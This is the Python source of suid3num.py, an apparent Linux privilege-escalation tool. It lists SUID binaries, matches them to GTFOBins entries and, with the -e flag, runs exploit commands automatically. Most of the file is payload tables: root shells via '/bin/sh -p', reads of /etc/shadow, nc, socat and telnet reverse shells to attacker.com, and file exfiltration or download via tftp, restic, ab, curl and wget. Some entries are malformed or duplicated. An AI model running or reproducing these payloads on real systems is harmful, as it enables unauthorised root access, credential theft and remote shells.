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suid3num.py
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792 lines (726 loc) · 26.9 KB
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#!/usr/bin/python3
"""
Works with both python2 & python3
"""
from sys import argv
from os import system, popen
from time import sleep
# The following list contains exploits for all known SUID binaries
customSUIDs = {
'aa-exec': './aa-exec /bin/sh -p',
'ab': 'URL=http://attacker.com/\nLFILE=file_to_send',
'agetty': './agetty -o -p -l /bin/sh -a root tty',
'alpine': 'LFILE=file_to_read\n./alpine -F "$LFILE"',
'ar': 'TF=$(mktemp -u)\nLFILE=file_to_read\n./ar r "$TF" "$LFILE"',
'aria2c': 'COMMAND=\'id\'\nTF=$(mktemp)\necho "$COMMAND" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x',
'arj': 'TF=$(mktemp -d)\nLFILE=file_to_write',
'arp': 'LFILE=file_to_read\n./arp -v -f "$LFILE"',
'as': 'LFILE=file_to_read\n./as @$LFILE',
'ascii-xfr': 'LFILE=file_to_read\n./ascii-xfr -ns "$LFILE"',
'aspell': 'LFILE=file_to_read\n./aspell -c "$LFILE"',
'atobm': """LFILE=file_to_read\n./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'""",
'awk': './awk \'BEGIN {system("/bin/sh")}\'',
'base32': 'LFILE=file_to_read\nbase32 "$LFILE" | base32 --decode',
'base64': 'LFILE=file_to_read\n./base64 "$LFILE" | base64 --decode',
'basenc': 'LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64',
'basez': 'LFILE=file_to_read\n./basez "$LFILE" | basez --decode',
'batcat': './batcat --paging always /etc/profile\n!/bin/sh',
'bc': 'LFILE=file_to_read\n./bc -s $LFILE\nquit',
'bridge': 'LFILE=file_to_read\n./bridge -b "$LFILE"',
'busctl': """./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'""",
'byebug': 'TF=$(mktemp)\necho \'system("/bin/sh")\' > $TF\n./byebug $TF\ncontinue',
'bzip2': 'LFILE=file_to_read\n./bzip2 -c $LFILE | bzip2 -d',
'capsh': './capsh --gid=0 --uid=0 --',
'choom': './choom -n 0 -- /bin/sh -p',
'chmod': 'LFILE=file_to_change\n./chmod 0777 $LFILE',
'chown': 'LFILE=file_to_change\n./chown $(id -un):$(id -gn) $LFILE',
'clamscan': """LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\n./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'""",
'cmp': 'LFILE=file_to_read\n./cmp $LFILE /dev/zero -b -l',
'cp': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./cp $TF $LFILE',
'column': 'LFILE=file_to_read\n./column $LFILE',
'comm': 'LFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null',
'composer': """TF=$(mktemp -d)\necho '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x""",
'cpio': '[READ FILE] LFILE=file_to_read\nTF=$(mktemp -d)\necho "$LFILE" | ./cpio -R $UID -dp $TF\ncat "$TF/$LFILE"\n[WRITE FILE]\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | ./cpio -R 0:0 -p $LDIR',
'cpulimit': './cpulimit -l 100 -f -- /bin/sh -p',
'csplit': 'LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01',
'csvtool': 'LFILE=file_to_read\n./csvtool trim t $LFILE',
'cupsfilter': 'LFILE=file_to_read\n./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE',
'curl': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./curl $URL -o $LFILE',
'date': 'LFILE=file_to_read\n./date -f $LFILE',
'dc': """./dc -e '!/bin/sh'""",
'dd': 'LFILE=file_to_write\necho "data" | ./dd of=$LFILE',
'debugfs': './debugfs\n!/bin/sh',
'dialog': 'LFILE=file_to_read\n./dialog --textbox "$LFILE" 0 0',
'diff': 'LFILE=file_to_read\n./diff --line-format=%L /dev/null $LFILE',
'dig': 'LFILE=file_to_read\n./dig -f $LFILE',
'distcc': './distcc /bin/sh -p',
'dmsetup': "./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'", 'file': 'LFILE=file_to_read\n./file -m $LFILE',
'dosbox': """LFILE='\path\to\file_to_write'\n./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit""",
'dvips': """tex '\special{psfile="`/bin/sh 1>&0"}\end'""",
'ed': './ed\n!/bin/sh',
'efax': 'LFILE=file_to_read\n./efax -d "$LFILE"',
'elvish': './elvish',
'eqn': 'LFILE=file_to_read\n./eqn "$LFILE"',
'espeak': 'LFILE=file_to_read\n./espeak -qXf "$LFILE"',
'fish': './fish',
'fmt': 'LFILE=file_to_read\n./fmt -pNON_EXISTING_PREFIX "$LFILE"',
'gcore': './gcore $PID',
'genie': """./genie -c '/bin/sh'""",
'genisoimage': 'LFILE=file_to_read\n./genisoimage -sort "$LFILE"',
'ginsh': './ginsh\n!/bin/sh',
'git': 'PAGER=\'sh -c "exec sh 0<&1"\' ./git -p help',
'gtester': 'TF=$(mktemp)\necho \'#!/bin/sh -p\' > $TF\necho \'exec /bin/sh -p 0<&1\' >> $TF\nchmod +x $TF\ngtester -q $TF',
'gzip': 'LFILE=file_to_read\n./gzip -f $LFILE -t',
'hd': 'LFILE=file_to_read\n./hd "$LFILE"',
'hexdump': 'LFILE=file_to_read\n./hexdump -C "$LFILE"',
'highlight': 'LFILE=file_to_read\n./highlight --no-doc --failsafe "$LFILE"',
'hping3': './hping3\n/bin/sh -p',
'iconv': 'LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 "$LFILE"',
'iftop': './iftop\n!/bin/sh',
'install': 'LFILE=file_to_change\nTF=$(mktemp)\n./install -m 6777 $LFILE $TF',
'ip': 'LFILE=file_to_read\n./ip -force -batch "$LFILE"',
'ispell': './ispell /etc/passwd\n!/bin/sh -p',
'jjs': 'echo "Java.type(\'java.lang.Runtime\').getRuntime().exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\').waitFor()" | ./jjs',
'join': 'LFILE=file_to_read\n./join -a 2 /dev/null $LFILE',
'julia': """./julia -e 'run(`/bin/sh -p`)'""",
'joe': './joe\n^K!/bin/sh',
'jq': 'LFILE=file_to_read\n./jq -Rr . "$LFILE"',
'ksshell': 'LFILE=file_to_read\n./ksshell -i $LFILE',
'kubectl': 'LFILE=dir_to_serve\n./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/',
'latex': """./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'ldconfig': 'TF=$(mktemp -d)\necho "$TF" > "$TF/conf"\n# move malicious libraries in $TF\n./ldconfig -f "$TF/conf"',
'lftp': """./lftp -c '!/bin/sh'""",
'links': 'LFILE=file_to_read\n./links "$LFILE"',
'look': 'LFILE=file_to_read\n./look \'\' "$LFILE"',
'lualatex': """./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'""",
'lwp-download': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./lwp-download $URL $LFILE',
'lwp-request': 'LFILE=file_to_read\n./lwp-request "file://$LFILE"',
'minicom': './minicom -D /dev/null',
'mosquitto': 'LFILE=file_to_read\n./mosquitto -c "$LFILE"',
'msgattrib': 'LFILE=file_to_read\n./msgattrib -P $LFILE',
'msgcat': 'LFILE=file_to_read\n./msgcat -P $LFILE',
'msgconv': 'LFILE=file_to_read\n./msgconv -P $LFILE',
'msgfilter': """echo x | ./msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'""",
'msgmerge': 'LFILE=file_to_read\n./msgmerge -P $LFILE /dev/null',
'multitime': './multitime /bin/sh -p',
'mv': 'LFILE=file_to_write\nTF=$(mktemp)\necho "DATA" > $TF\n./mv $TF $LFILE',
'mysql': "./mysql -e '\\! /bin/sh'",
'nano': './nano -s /bin/sh\n/bin/sh\n^T',
'nasm': 'LFILE=file_to_read\n./nasm -@ $LFILE',
'nawk': './nawk \'BEGIN {system("/bin/sh")}\'',
'nc': 'RHOST=attacker.com\nRPORT=12345\n./nc -e /bin/sh $RHOST $RPORT',
'ncdu': './ncdu\nb',
'ncftp': './ncftp\n!/bin/sh -p',
'nft': 'LFILE=file_to_read\n./nft -f "$LFILE"',
'nm': 'LFILE=file_to_read\n./nm @$LFILE',
'nmap': 'TF=$(mktemp)\necho \'os.execute("/bin/sh")\' > $TF\n./nmap --script=$TF',
'nohup': 'nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"',
'ntpdate': 'LFILE=file_to_read\n./ntpdate -a x -k $LFILE -d localhost',
'octave': """./octave-cli --eval 'system("/bin/sh")'""",
'openssl': 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\nopenssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n',
'openvpn': """./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'""",
'pandoc': 'LFILE=file_to_write\necho DATA | ./pandoc -t plain -o "$LFILE"',
'paste': 'LFILE=file_to_read\npaste $LFILE',
'pdflatex': """./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'pdftex': """./pdftex --shell-escape '\write18{/bin/sh}\end'""",
'perf': './perf stat /bin/sh -p',
'pexec': './pexec /bin/sh -p',
'pic': './pic -U\n.PS\nsh X sh X',
'pico': './pico -s /bin/sh\n/bin/sh\n^T',
'pidstat': 'COMMAND=id\n./pidstat -e $COMMAND',
'posh': './posh',
'pr': 'LFILE=file_to_read\npr -T $LFILE',
'pry': './pry\nsystem("/bin/sh")',
'psftp': 'sudo psftp\n!/bin/sh',
'ptx': 'LFILE=file_to_read\n./ptx -w 5000 "$LFILE"',
'rake': """./rake -p '`/bin/sh 1>&0`'""",
'rc': './rc -c "/bin/sh -p"',
'readelf': 'LFILE=file_to_read\n./readelf -a @$LFILE',
'restic': 'RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\n./restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"',
'rev': 'LFILE=file_to_read\n./rev $LFILE | rev',
'rpm': """./rpm --eval '%{lua:os.execute("/bin/sh")}'""",
'rpmdb': """./rpmdb --eval '%(/bin/sh 1>&2)'""",
'rpmquery': """./rpmquery --eval '%{lua:os.execute("/bin/sh")}'""",
'rtorrent': 'echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc\n./rtorrent',
'runscript': """TF=$(mktemp)\necho '! exec /bin/sh' >$TF\n./runscript $TF""",
'rview': """./rview -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'\nOR\n./rview -c ':lua os.execute("reset; exec sh")'""",
'sash': './sash',
'scanmem': './scanmem\nshell /bin/sh',
'scp': 'TF=$(mktemp)\necho \'sh 0<&2 1>&2\' > $TF\nchmod +x "$TF"\n./scp -S $TF a b:',
'scrot': './scrot -e /bin/sh',
'setfacl': 'LFILE=file_to_change\nUSER=somebody\n./setfacl -m u:$USER:rwx $LFILE',
'setlock': './setlock - /bin/sh -p',
'shuf': 'LFILE=file_to_write\n./shuf -e DATA -o "$LFILE"\nsudo:',
'slsh': """./slsh -e 'system("/bin/sh")'""",
'socat': 'RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane',
'soelim': 'LFILE=file_to_read\n./soelim "$LFILE"',
'softlimit': './softlimit /bin/sh -p',
'sqlite3': "./sqlite3 /dev/null '.shell /bin/sh'", 'socat': 'RHOST=attacker.com\nRPORT=12345\n./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane',
'ss': 'LFILE=file_to_read\n./ss -a -F $LFILE',
'ssh-agent': './ssh-agent /bin/ -p',
'ssh-keygen': './ssh-keygen -D ./lib.so',
'sshpass': './sshpass /bin/sh -p',
'strings': 'LFILE=file_to_read\n./strings "$LFILE"',
'sysctl': 'LFILE=file_to_read\n./sysctl -n "/../../$LFILE"',
'systemctl': 'TF=$(mktemp).service\necho \'[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target\' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF',
'tac': 'LFILE=file_to_read\n./tac -s \'PromiseWontOverWrite\' "$LFILE"',
'tar': './tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh',
'tasksh': './tasksh\n!/bin/sh',
'tbl': 'LFILE=file_to_read\n./tbl $LFILE',
'tdbtool': './tdbtool\n! /bin/sh',
'tee': 'LFILE=file_to_write\necho DATA | ./tee -a "$LFILE"',
'telnet': 'RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh',
'terraform': './terraform console\nfile("file_to_read")',
'tex': """./tex --shell-escape '\write18{/bin/sh}\end'""",
'tic': 'LFILE=file_to_read\n./tic -C "$LFILE"',
'tmate': './tmate -c /bin/sh',
'tftp': 'RHOST=attacker.com\n./tftp $RHOST\nput file_to_send',
'troff': 'LFILE=file_to_read\n./troff $LFILE',
'unsquashfs': './unsquashfs shell\n./squashfs-root/sh -p',
'uudecode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
'uuencode': 'LFILE=file_to_read\nuuencode "$LFILE" /dev/stdout | uudecode',
'unzip': './unzip -K shell.zip\n./sh -p',
'update-alternatives': """LFILE=/path/to/file_to_write\nTF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install "$LFILE" x "$TF" 0""",
'vagrant': """cd $(mktemp -d)\necho 'exec "/bin/sh -p"' > Vagrantfile\nvagrant up""",
'varnishncsa': """LFILE=file_to_write\n./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE""",
'view': """./view -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p\nOR\n./view -c ':lua os.execute("reset; exec sh")'""",
'vigr': './vigr',
'vimdiff': """./vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'\nOR\n./vimdiff -c ':lua os.execute("reset; exec sh")'""",
'vipw': './vipw',
'w3m': 'LFILE=file_to_read\n./w3m "$LFILE" -dump',
'whiptail': 'LFILE=file_to_read\n./whiptail --textbox --scrolltext "$LFILE" 0 0',
'xdotool': './xdotool exec --sync /bin/sh -p',
'xmodmap': 'LFILE=file_to_read\n./xmodmap -v $LFILE',
'xmore': 'LFILE=file_to_read\n./xmore $LFILE',
'xelatex': """./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'xetex': """./xetex --shell-escape '\write18{/bin/sh}\end'""",
'xz': 'LFILE=file_to_read\n./xz -c "$LFILE" | xz -d',
'yash': './yash',
'wget': 'export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\n./wget $URL -O $LFILE',
'zip': "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF",
'zsh': './zsh',
'zsoelim': 'LFILE=file_to_read\n./zsoelim "$LFILE"',
}
# The following list contains all default SUID bins found within Unix
defSUIDBinaries = [
"arping",
"at",
"bwrap",
"chfn",
"chrome-sandbox",
"chsh",
"dbus-daemon-launch-helper",
"dmcrypt-get-device",
"exim4",
"fusermount",
"gpasswd",
"helper",
"kismet_capture",
"lxc-user-nic",
"mount",
"mount.cifs",
"mount.ecryptfs_private",
"mount.nfs",
"newgidmap",
"newgrp",
"newuidmap",
"ntfs-3g",
"passwd",
"ping",
"ping6",
"pkexec",
"polkit-agent-helper-1",
"pppd",
"snap-confine",
"ssh-keysign",
"su",
"sudo",
"traceroute6.iputils",
"ubuntu-core-launcher",
"umount",
"VBoxHeadless",
"VBoxNetAdpCtl",
"VBoxNetDHCP",
"VBoxNetNAT",
"VBoxSDL",
"VBoxVolInfo",
"VirtualBoxVM",
"vmware-authd",
"vmware-user-suid-wrapper",
"vmware-vmx",
"vmware-vmx-debug",
"vmware-vmx-stats",
"Xorg.wrap",
]
# Auto Exploitation of SUID Bins - List
suidExploitation = {
'ash': '',
'bash': '-p',
'busybox': 'sh',
'cat': '/etc/shadow',
'chroot': '/ /bin/sh -p',
'csh': '-b',
'cut': '-d "" -f1 /etc/shadow',
'dash': '-p',
'docker': 'run -v /:/mnt --rm -it alpine chroot /mnt sh',
'emacs': '-Q -nw --eval \'(term "/bin/sh -p")\'',
'env': '/bin/sh -p',
'expand': '/etc/shadow',
'expect': '-c "spawn /bin/sh -p;interact"',
'find': '. -exec /bin/sh -p \\; -quit',
'flock': '-u / /bin/sh -p',
'fold': '-w99999999 /etc/shadow',
'gawk': '\'BEGIN {system("/bin/sh")}\'',
'gdb': '-q -nx -ex \'python import os; os.execl("/bin/sh", "sh", "-p")\' -ex quit',
'gimp': '-idf --batch-interpreter=python-fu-eval -b \'import os; os.execl("/bin/sh", "sh", "-p")\'',
'grep': '"" /etc/shadow',
'head': '-c2G /etc/shadow',
'ionice': '/bin/sh -p',
'jrunscript': '-e "exec(\'/bin/sh -pc \\$@|sh\\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)\')"',
'ksh': '-p',
'ld.so': '/bin/sh -p',
'less': '/etc/shadow',
'logsave': '/dev/null /bin/sh -i -p',
'lua': '-e \'os.execute("/bin/sh")\'',
'make': '-s --eval=$\'x:\\n\\t-\'"/bin/sh -p"',
'mawk': '\'BEGIN {system("/bin/sh")}\'',
'more': '/etc/shadow',
'nice': '/bin/sh -p',
'nl': '-bn -w1 -s \'\' /etc/shadow',
'node': 'node -e \'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});\'',
'od': 'od -An -c -w9999 /etc/shadow | sed -E -e \'s/ //g\' -e \'s/\\\\n/\\n/g\'',
'perl': '-e \'exec "/bin/sh";\'',
'pg': '/etc/shadow',
'php': '-r "pcntl_exec(\'/bin/sh\', [\'-p\']);"',
'python': '-c \'import os; os.execl("/bin/sh", "sh", "-p")\'',
'rlwrap': '-H /dev/null /bin/sh -p',
'rpm': '--eval \'%{lua:os.execute("/bin/sh", "-p")}\'',
'rpmquery': '--eval \'%{lua:posix.exec("/bin/sh", "-p")}\'',
'rsync': '-e \'sh -p -c "sh 0<&2 1>&2"\' 127.0.0.1:/dev/null',
'run-parts': '--new-session --regex \'^sh$\' /bin --arg=\'-p\'',
'rvim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'sed': '-e "" /etc/shadow',
'setarch': '$(arch) /bin/sh -p',
'sh': '-p',
'sort': '-m /etc/shadow',
'start-stop-daemon': '-n $RANDOM -S -x /bin/sh -- -p',
'stdbuf': '-i0 /bin/sh -p',
'strace': '-o /dev/null /bin/sh -p',
'tail': '-c2G /etc/shadow',
'taskset': '1 /bin/sh -p',
'time': '/bin/sh -p',
'timeout': '7d /bin/sh -p',
'ul': '/etc/shadow',
'unexpand': 'unexpand -t99999999 /etc/shadow',
'uniq': '/etc/shadow',
'unshare': '-r /bin/sh',
'vim': '-c \':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")\'',
'watch': '-x sh -c \'reset; exec sh 1>&0 2>&0\'',
'xargs': '-a /dev/null sh -p',
'xxd': '/etc/shadow | xxd -r',
'zsh': '',
}
# The following list contains GTFO Bins binaries which are SUID exploitable
gtfoBinsSuidsList = [
"aa-exec",
"ab",
"agetty",
"alpine",
"ar",
"arj",
"arp",
"as",
"ascii-xfr",
"ash",
"aspell",
"atobm",
"awk",
"base32",
"base64",
"basenc",
"basez",
"bash",
"bc",
"bridge",
"busctl",
"busybox",
"bzip2",
"cabal",
"capsh",
"cat",
"chmod",
"choom",
"chown",
"chroot",
"clamscan",
"cmp",
"column",
"comm",
"cp",
"cpio",
"cpulimit",
"csh",
"csplit",
"csvtool",
"cupsfilter",
"curl",
"cut",
"dash",
"date",
"dd",
"debugfs",
"dialog",
"diff",
"dig",
"distcc",
"dmsetup",
"docker",
"dosbox",
"ed",
"efax",
"elvish",
"emacs",
"env",
"eqn",
"espeak",
"expand",
"expect",
"file",
"find",
"fish",
"flock",
"fmt",
"fold",
"gawk",
"gcore",
"genie",
"genisoimage",
"gimp",
"gdb",
"grep",
"gtester",
"gzip",
"hd",
"head",
"hexdump",
"highlight",
"hping3",
"iconv",
"install",
"ionice",
"ip",
"ispell",
"jjs",
"join",
"jq",
"jrunscript",
"julia",
"ksh",
"ksshell",
"kubectl",
"ld.so",
"less",
"links",
"logsave",
"look",
"lua",
"make",
"mawk",
"minicom",
"more",
"mosquitto",
"msgattrib",
"msgcat",
"msgconv",
"msgfilter",
"msgmerge",
"msguniq",
"multitime",
"mv",
"nasm",
"nawk",
"ncftp",
"nft",
"nice",
"nl",
"nm",
"nmap",
"node",
"nohup",
"ntpdate",
"od",
"openssl",
"openvpn",
"pandoc",
"paste",
"perf",
"perl",
"pexec",
"pg",
"php",
"pidstat",
"pr",
"ptx",
"python",
"rc",
"readelf",
"restic",
"rev",
"rlwrap",
"rsync",
"rtorrent",
"run-parts",
"rview",
"rvim",
"sash",
"scanmem",
"sed",
"setarch",
"setfacl",
"setlock",
"shuf",
"soelim",
"softlimit",
"sort",
"sqlite3",
"ss",
"ssh-agent",
"ssh-keygen",
"ssh-keyscan",
"sshpass",
"start-stop-daemon",
"stdbuf",
"strace",
"strings",
"sysctl",
"systemctl",
"tac",
"tail",
"taskset",
"tbl",
"tclsh",
"tee",
"terraform",
"tftp,"
"tic",
"time",
"timeout",
"troff",
"ul",
"unexpand",
"uniq",
"unsquashfs",
"unshare",
"unzip",
"update-alternatives",
"uudecode",
"uuencode",
"vagrant",
"varnishncsa",
"view",
"vigr",
"vim",
"vimdiff",
"vipw",
"w3m",
"watch",
"wc",
"wget",
"whiptail",
"xargs",
"xdotool",
"xmodmap",
"xmore",
"xxd",
"xz",
"yash",
"zsh",
]
# The following list contains GTFO Bins binaries which are LimitedSUID exploitable
gtfoBinsLimitedSuidsList = [
"aria2c",
"batcat",
"byebug",
"composer",
"dc",
"dvips",
"ginsh",
"git",
"iftop",
"joe",
"latex",
"ldconfig",
"lftp",
"lualatex",
"luatex",
"mysql",
"nano",
"nc",
"ncdu",
"octave",
"pdflatex",
"pdftex",
"pic",
"pico",
"posh",
"pry",
"psftp",
"rake",
"rpm",
"rpmdb",
"rpmquery",
"rpmverify",
"runscript",
"scp",
"scrot",
"slsh",
"socat",
"tar",
"tasksh",
"tdbtool",
"telnet",
"tex",
"tmate",
"xelatex",
"xetex",
"zip",
]
"""
Colors List
"""
CYAN = "\033[0;96m"
GREEN = "\033[0;92m"
WHITE = "\033[0;97m"
RED = "\033[0;91m"
BLUE = "\033[0;94m"
YELLOW = "\033[0;33m"
MAGENTA = "\033[0;35m"
RESET = "\033[0m"
BARLINE = "------------------------------"
BANNER = MAGENTA + " ___ _ _ _ ___ _____ _ _ _ __ __ \n"
BANNER += YELLOW + " / __| | | / | \\ |__ / \\| | | | | \\/ |\n"
BANNER += BLUE + " \\__ \\ |_| | | |) | |_ \\ .` | |_| | |\\/| |\n"
BANNER += RED + " |___/\\___/|_|___/ |___/_|\\_|\\___/|_| |_| " + CYAN + " twitter@syed__umar\n" + RESET
def list_all_suid_binaries():
"""
Find the SUID binaries and return the list
"""
print(WHITE + "[" + BLUE + "#" + WHITE + "] " + YELLOW + "Finding/Listing all SUID Binaries .." + RESET)
print(WHITE + BARLINE + RESET)
command = "find / -perm -4000 -type f 2>/dev/null"
result = popen(command).read().strip().split("\n")
for bins in result:
print(YELLOW + bins + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
return(result)
def check_suids_in_gtfo(suid_bins):
"""
This function prints the following data:
- Default binaries which ship with installation of linux
- Custom binaries which aren't part of default list
- Binaries which match GTFObins list!
Args:
suid_bins ([list]): SUID binaries list
Returns:
bins_in_gtfo, default_suid_bins, custom_suid_bins
"""
bins_in_gtfo = []
custom_suid_bins = []
default_suid_bins = []
for bins in suid_bins:
bin_name = bins.split("/")[::-1][0]
if bin_name not in defSUIDBinaries:
custom_suid_bins.append(bins)
if bin_name in gtfoBinsSuidsList or bin_name in gtfoBinsLimitedSuidsList:
bins_in_gtfo.append(bins)
else:
default_suid_bins.append(bins)
print(WHITE + "["+ RED + "!" + WHITE + "] Default Binaries (Don't bother)" + RESET)
print(BARLINE)
for bins in default_suid_bins:
print(BLUE + bins + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
print(WHITE + "[" + CYAN + "~" + WHITE + "] " + CYAN + "Custom SUID Binaries (Interesting Stuff)" + RESET)
print(WHITE + BARLINE + RESET)
for bins in custom_suid_bins:
print(CYAN + bins + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
if len(bins_in_gtfo) != 0:
print("[" + GREEN + "#" + WHITE + "] " + GREEN + "SUID Binaries in GTFO bins list (Hell Yeah!)" + RESET)
print(WHITE + BARLINE + RESET)
for binaries in bins_in_gtfo:
path_of_bin = popen("which " + binaries).read().strip()
# Return the link of suid binaries
if binaries in gtfoBinsSuidsList :
gtfo_url = "https://gtfobins.github.io/gtfobins/" + binaries[::-1].split("/")[0][::-1] + "/#suid"
# Return the link of limited suid binaries (those links end with /#limited-suid)
else :
gtfo_url = "https://gtfobins.github.io/gtfobins/" + binaries[::-1].split("/")[0][::-1] + "/#limited-suid"
print(GREEN + path_of_bin + WHITE + " -~> " + MAGENTA + gtfo_url + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
else:
print("[" + GREEN + "#" + WHITE + "] " + GREEN + "SUID Binaries found in GTFO bins.." + RESET)
print(WHITE + BARLINE + RESET)
print("[" + RED + "!" + WHITE + "] " + MAGENTA + "None " + RED + ":(" + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
bins_to_exploit = {}
for binary in bins_in_gtfo:
binary_name = binary[::-1].split("/")[0][::-1]
if binary_name not in suidExploitation:
bins_to_exploit[binary] = customSUIDs[binary_name]
if len(bins_to_exploit) != 0:
print("[" + YELLOW + "&" + WHITE + "] " + CYAN + "Manual Exploitation (Binaries which create files on the system)" + RESET)
print(WHITE + BARLINE + RESET)
for binary_path, binary_exploitation in bins_to_exploit.items():
binary_name = binary_path[::-1].split("/")[0][::-1]
binary_exploitation = binary_exploitation.replace(binary_name, binary_path).replace("./", "")
print(WHITE + "[" + CYAN + "&" + WHITE + "] " + MAGENTA + binary_name.capitalize() + WHITE + " ( " + GREEN + binary_path + " )" + WHITE + RESET)
print(YELLOW + binary_exploitation + WHITE + "\n" + RESET)
print(WHITE + BARLINE + "\n\n" + RESET)
return(bins_in_gtfo, default_suid_bins, custom_suid_bins)
def exploit_enumerated_suids(bins):
"""Exploits the enumerated binaries
Params:
-e -> auto-exploit
Args:
bins ([list]): Vulnerable SUID binaries
"""
commands = []
for suid_bins in bins:
_bin = suid_bins.split("/")[::-1][0]
if _bin in suidExploitation:
_results = suid_bins + " " + suidExploitation[_bin]
commands.append(_results)
if len(commands) != 0:
if len(argv) == 2:
if argv[1] == '-e':
print(WHITE + "[" + MAGENTA + "$" + WHITE + "] " + WHITE + "Auto Exploiting SUID bit binaries !!!" + RESET)
print(WHITE + BARLINE + RESET)
for _commands in commands:
print(MAGENTA + "\n[#] Executing Command .. " + RESET)
print(CYAN + "[~] " + _commands + "\n" + WHITE + RESET)
sleep(0.5)
system(_commands)
sleep(0.5)
else:
print(WHITE + "[" + GREEN + "$" + WHITE + "] " + WHITE + "Please try the command(s) below to exploit harmless SUID bin(s) found !!!" + RESET)
print(WHITE + BARLINE + RESET)
for _commands in commands:
print("[~] " + _commands)
print(WHITE + BARLINE + "\n\n" + RESET)
def main():
"""
1. List SUIDs
2. Check all SUIDs enumerated in GTFO bins list
3. Print exploitation commands
4. Exploit those enumerated SUIDs (if user specifies: -e)
"""
print(BANNER)
try:
suid_bins = list_all_suid_binaries()
gtfo_bins = check_suids_in_gtfo(suid_bins)
exploit_enumerated_suids(gtfo_bins[0])
except KeyboardInterrupt:
print("\n[" + RED + "!" + WHITE + "] " + RED + "Aye, why you do dis!?" + RESET)
if __name__ == '__main__':
main()